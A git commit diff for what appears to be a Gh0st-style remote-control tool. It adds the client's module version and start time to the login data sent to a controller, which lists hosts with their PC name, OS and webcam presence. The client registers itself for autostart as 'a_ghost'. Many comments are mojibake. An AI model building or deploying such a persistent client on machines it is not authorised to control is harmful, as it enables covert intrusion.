feat: Add showing client version and start time

ReadMe.txt

@@ -236,3 +236,8 @@ fix: showing the wrong host quantity in status bar
 solve some issues according to code analysis result
 reorg: Move commands to common/commands.h
 此次提交的重点是将重复代码移动到公共目录，减少代码的冗余。
+
+2024.12.28
+修改了注册指令内容，新生成的主控程序和被控程序不能和以往的程序混用!! 预留了字段，以便未来之需。
+主控程序增加显示被控端版本信息，以便未来针对老版本实现在线更新的能力。
+在主控程序上面增加了显示被控端启动时间的功能，以便掌握被控端程序的稳定性。

client/LoginServer.cpp

@@ -2,6 +2,9 @@
 #include "LoginServer.h"
 #include "Common.h"
 #include <string>
+#include <iostream>
+#include <iomanip>
+#include <ctime>
 
 /************************************************************************
 --------------------- 
@@ -122,10 +125,39 @@ std::string getSystemName()
 	return vname;
 }
 
+std::string formatTime(const FILETIME& fileTime) {
+	// ת<><D7AA>Ϊ 64 λʱ<CEBB><CAB1>
+	ULARGE_INTEGER ull;
+	ull.LowPart = fileTime.dwLowDateTime;
+	ull.HighPart = fileTime.dwHighDateTime;
+
+	// ת<><D7AA>Ϊ<EFBFBD>뼶ʱ<EBBCB6><CAB1><EFBFBD><EFBFBD>
+	std::time_t startTime = static_cast<std::time_t>((ull.QuadPart / 10000000ULL) - 11644473600ULL);
+
+	// <20><>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	std::tm* localTime = std::localtime(&startTime);
+	char buffer[100];
+	std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localTime);
+	return std::string(buffer);
+}
+
+std::string getProcessTime() {
+	FILETIME creationTime, exitTime, kernelTime, userTime;
+
+	// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD>̵<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>Ϣ
+	if (GetProcessTimes(GetCurrentProcess(), &creationTime, &exitTime, &kernelTime, &userTime)) {
+		return formatTime(creationTime);
+	}
+	std::time_t now = std::time(nullptr);
+	std::tm* t = std::localtime(&now);
+	char buffer[100];
+	std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", t);
+	return buffer;
+}
 
 int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
 {
-	LOGIN_INFOR  LoginInfor = {0};
+	LOGIN_INFOR  LoginInfor;
 	LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
 	//<2F><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>ϵͳ<CFB5><CDB3>Ϣ
 	strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());
@@ -148,9 +180,8 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
 	memcpy(LoginInfor.szPCName,szPCName,MAX_PATH);
 	LoginInfor.dwSpeed  = dwSpeed;
 	LoginInfor.dwCPUMHz = dwCPUMHz;
-	LoginInfor.ClientAddr = ClientAddr.sin_addr;
 	LoginInfor.bWebCamIsExist = bWebCamIsExist;
-
+	strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
 	int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR));   
 
 	return iRet;

client/LoginServer.h

@@ -5,17 +5,6 @@
 
 #pragma comment(lib,"Vfw32.lib")
 
-typedef struct  _LOGIN_INFOR
-{	
-	BYTE			bToken;			// ȡ1<C8A1><31><EFBFBD><EFBFBD>½<EFBFBD><C2BD>Ϣ
-	char			OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// <20>汾<EFBFBD><E6B1BE>Ϣ
-	DWORD			dwCPUMHz;		// CPU<50><55>Ƶ
-	IN_ADDR			ClientAddr;		// <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
-	char			szPCName[MAX_PATH];	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-	BOOL			bWebCamIsExist;		// <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
-	DWORD			dwSpeed;		// <20><><EFBFBD><EFBFBD>
-}LOGIN_INFOR,*PLOGIN_INFOR;
-
 int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed);
 DWORD CPUClockMHz();
 BOOL WebCamIsExist();

client/test.cpp

@@ -4,6 +4,9 @@
 #include <corecrt_io.h>
 #include "common/commands.h"
 
+// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
+#define REG_NAME "a_ghost"
+
 typedef void (*StopRun)();
 
 typedef bool (*IsStoped)();
@@ -94,7 +97,7 @@ BOOL CALLBACK callback(DWORD CtrlType)
 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ھʹ<DABE><CDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>л<EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
 int main(int argc, const char *argv[])
 {
-	if(!SetSelfStart(argv[0], "a_ghost"))
+	if(!SetSelfStart(argv[0], REG_NAME))
 	{
 		std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
 	}

common/commands.h

@@ -1,11 +1,17 @@
 #pragma once
 
+#include <vcruntime_string.h>
+#include <string.h>
+
 #ifndef _MAX_PATH
 #define _MAX_PATH 260
 #endif
 
 #define FLAG_FINDEN 0x1234567
 
+// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>仯ʱ<E4BBAF><CAB1>Ӧ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ա<EFBFBD><D4B1>Ա<EFBFBD><D4B1>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+#define DLL_VERSION "20241228"		// DLL<4C>汾
+
 // <20><><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD>б<EFBFBD>
 enum
 {
@@ -134,3 +140,26 @@ typedef struct CONNECT_ADDRESS
 	char			szServerIP[_MAX_PATH];
 	int				iPort;
 } CONNECT_ADDRESS ;
+
+// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ߺ<EFBFBD><DFBA><EFBFBD><EFBFBD>͵ļ<CDB5><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
+// <20>˽ṹ<CBBD><E1B9B9>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>仯<EFBFBD><E4BBAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD>汾<EFBFBD>Ŀͻ<C4BF><CDBB><EFBFBD><EFBFBD>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>°<EFBFBD><C2B0><EFBFBD><EFBFBD><EFBFBD>.
+// <20>°<EFBFBD><C2B0>ͻ<EFBFBD><CDBB><EFBFBD>Ҳ<EFBFBD>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϰ汾<CFB0><E6B1BE><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD>.
+// Ϊ<>ˣ<EFBFBD><CBA3><EFBFBD>20241228<32>ύ<EFBFBD><E1BDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD>ṹ<EFBFBD><E1B9B9>Ԥ<EFBFBD><D4A4><EFBFBD>ֶΣ<D6B6><CEA3>Ա<EFBFBD>δ<EFBFBD><CEB4>֮<EFBFBD><D6AE>ʱ֮<CAB1><D6AE>
+// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޸Ĵ˽ṹ<CBBD>壬<EFBFBD><E5A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ټ<EFBFBD><D9BC><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD>ij<EFBFBD><C4B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ߵ<EFBFBD><DFB5><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+typedef struct  LOGIN_INFOR
+{
+	unsigned char			bToken;									// 1.<2E><>½<EFBFBD><C2BD>Ϣ
+	char					OsVerInfoEx[156];						// 2.<2E>汾<EFBFBD><E6B1BE>Ϣ
+	unsigned long			dwCPUMHz;								// 3.CPU<50><55>Ƶ
+	char					moduleVersion[24];						// 4.DLLģ<4C><C4A3><EFBFBD>汾
+	char					szPCName[_MAX_PATH];					// 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	int						bWebCamIsExist;							// 6.<2E>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
+	unsigned long			dwSpeed;								// 7.<2E><><EFBFBD><EFBFBD>
+	char					szStartTime[20];						// 8.<2E><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
+	char					szReserved[512];						// 9.<2E><><EFBFBD><EFBFBD><EFBFBD>ֶ<EFBFBD>
+
+	LOGIN_INFOR(){
+		memset(this, 0, sizeof(LOGIN_INFOR));
+		strcpy_s(moduleVersion, DLL_VERSION);
+	}
+}LOGIN_INFOR;

server/2015Remote/2015RemoteDlg.cpp

@@ -39,7 +39,10 @@ enum
 	ONLINELIST_OS,            //<2F><><EFBFBD><EFBFBD>ϵͳ
 	ONLINELIST_CPU,           //CPU
 	ONLINELIST_VIDEO,         //<2F><><EFBFBD><EFBFBD>ͷ(<28><><EFBFBD><EFBFBD>)
-	ONLINELIST_PING           //PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
+	ONLINELIST_PING,           //PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
+	ONLINELIST_VERSION,	       // <20>汾<EFBFBD><E6B1BE>Ϣ
+	ONLINELIST_LOGINTIME,      // <20><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
+	ONLINELIST_MAX, 
 };
 
 
@@ -49,7 +52,7 @@ typedef struct
 	int		nWidth;            //<2F>б<EFBFBD><D0B1>Ŀ<EFBFBD><C4BF><EFBFBD>
 }COLUMNSTRUCT;
 
-const int  g_Column_Count_Online  = 7; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+const int  g_Column_Count_Online  = ONLINELIST_MAX; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 
 COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = 
 {
@@ -60,6 +63,8 @@ COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] =
 	{"CPU",				80	},
 	{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ",			72	},
 	{"PING",			100	},
+	{"<EFBFBD>汾",			80	},
+	{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><EFBFBD>",		180 },
 };
 
 // <20><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3>򡰹<EFBFBD><F2A1B0B9>ڡ<EFBFBD><DAA1>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD> CAboutDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
@@ -322,7 +327,7 @@ VOID CMy2015RemoteDlg::TestOnline()
 
 
 VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, 
-							   CString strCPU, CString strVideo, CString strPing,CONTEXT_OBJECT* ContextObject)
+							   CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CONTEXT_OBJECT* ContextObject)
 {
 	EnterCriticalSection(&m_cs);
 	//Ĭ<><C4AC>Ϊ0<CEAA><30>  <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -334,6 +339,8 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
 	m_CList_Online.SetItemText(i,ONLINELIST_CPU,strCPU);
 	m_CList_Online.SetItemText(i,ONLINELIST_VIDEO,strVideo);
 	m_CList_Online.SetItemText(i,ONLINELIST_PING,strPing); 
+	m_CList_Online.SetItemText(i, ONLINELIST_VERSION, ver);
+	m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, st);
 
 	m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject);
 
@@ -975,20 +982,23 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
 	CString	strToolTipsText;
 	try
 	{
-		// <20><><EFBFBD>Ϸ<EFBFBD><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>
-		if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR))
-		{
-			return -1;
-		}
-
-		LOGIN_INFOR* LoginInfor = new LOGIN_INFOR;
-		ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0);
 
 		sockaddr_in  ClientAddr;
 		memset(&ClientAddr, 0, sizeof(ClientAddr));
 		int iClientAddrLen = sizeof(sockaddr_in);
 		SOCKET nSocket = ContextObject->sClientSocket;
-		BOOL bOk = getpeername(nSocket,(SOCKADDR*)&ClientAddr, &iClientAddrLen);  //IP C   <---IP
+		BOOL bOk = getpeername(nSocket, (SOCKADDR*)&ClientAddr, &iClientAddrLen);
+		// <20><><EFBFBD>Ϸ<EFBFBD><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>
+		if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR))
+		{
+			char buf[100];
+			sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", inet_ntoa(ClientAddr.sin_addr));
+			OutputDebugStringA(buf);
+			return -1;
+		}
+
+		LOGIN_INFOR* LoginInfor = new LOGIN_INFOR;
+		ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0);
 
 		strIP = inet_ntoa(ClientAddr.sin_addr);
 
@@ -1008,7 +1018,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
 
 		strAddr.Format("%d", nSocket);
 
-		AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,ContextObject);
+		AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime,ContextObject);
 		delete LoginInfor;
 		return S_OK;
 	}catch(...){

server/2015Remote/2015RemoteDlg.h

@@ -21,17 +21,6 @@
 #define CLIENT_EXIT_WITH_SERVER 1
 #endif 
 
-typedef struct  _LOGIN_INFOR
-{	
-	BYTE			bToken;			// ȡ1<C8A1><31><EFBFBD><EFBFBD>½<EFBFBD><C2BD>Ϣ
-	char			OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// <20>汾<EFBFBD><E6B1BE>Ϣ
-	DWORD			dwCPUMHz;		// CPU<50><55>Ƶ
-	IN_ADDR			ClientAddr;		// <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
-	char			szPCName[MAX_PATH];	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-	BOOL			bWebCamIsExist;		// <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
-	DWORD			dwSpeed;		// <20><><EFBFBD><EFBFBD>
-}LOGIN_INFOR,*PLOGIN_INFOR;
-
 // CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
 class CMy2015RemoteDlg : public CDialogEx
 {
@@ -58,7 +47,7 @@ public:
 	VOID InitControl();             //<2F><>ʼ<EFBFBD>ؼ<EFBFBD>
 	VOID TestOnline();              //<2F><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>
 	VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, 
-		CString strCPU, CString strVideo, CString strPing,CONTEXT_OBJECT* ContextObject);
+		CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CONTEXT_OBJECT* ContextObject);
 	VOID ShowMessage(BOOL bOk, CString strMsg);
 	VOID CreatStatusBar();
 	VOID CreateToolBar();